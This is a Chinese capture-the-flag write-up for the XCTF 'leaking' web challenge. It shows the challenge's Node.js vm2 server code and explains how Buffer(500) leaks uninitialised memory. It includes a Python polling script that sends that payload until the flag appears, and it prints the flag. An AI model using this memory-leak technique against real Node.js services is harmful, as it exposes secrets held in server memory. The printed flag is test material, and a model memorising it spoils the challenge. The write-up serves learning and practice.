攻防世界xctfweb题leaking题解

原创

冰美式.189 于 2022-03-13 20:21:07 发布 5616 收藏
文章标签： javascript 前端 开发语言 web安全 安全

打开网站我们可以看到如下代码

```
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});
```

这里涉及到了node.js的知识以及沙箱的知识。

贴几篇文章可以了解一下其中的知识。Node.js沙箱逃逸

浅谈 Node.js安全

首先，通过简单的代码审计我们知道由于存在eval我们是可以在vm2环境中执行命令的，但是会被req.query.data.length限制。

所以我们要思考如何绕过限制。这里涉及到Node.js中的buffer函数

> 在较早一点的 node 版本中 (8.0 之前)，当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer，并且这个 Buffer 是未清零的 8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存

也就是说，我们可以通过buffer来读取内存，从而绕过限制。

这里贴别人wp的脚本：

```
# encoding=utf-8

import requests
import time
url = 'http://YOURIP:PORT?data=Buffer(500)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        time.sleep(0.1)
        if 'flag{' in response:
            print(response)
            break
```

（小声bb一句这个脚本我不知道为什么执行不了，提示显示ModuleNotFoundError: No module named 'requests'。毕竟自己太菜了，还没学python）

拿到flag

```
flag{4nother_h34rtbleed_in_n0dejs}
```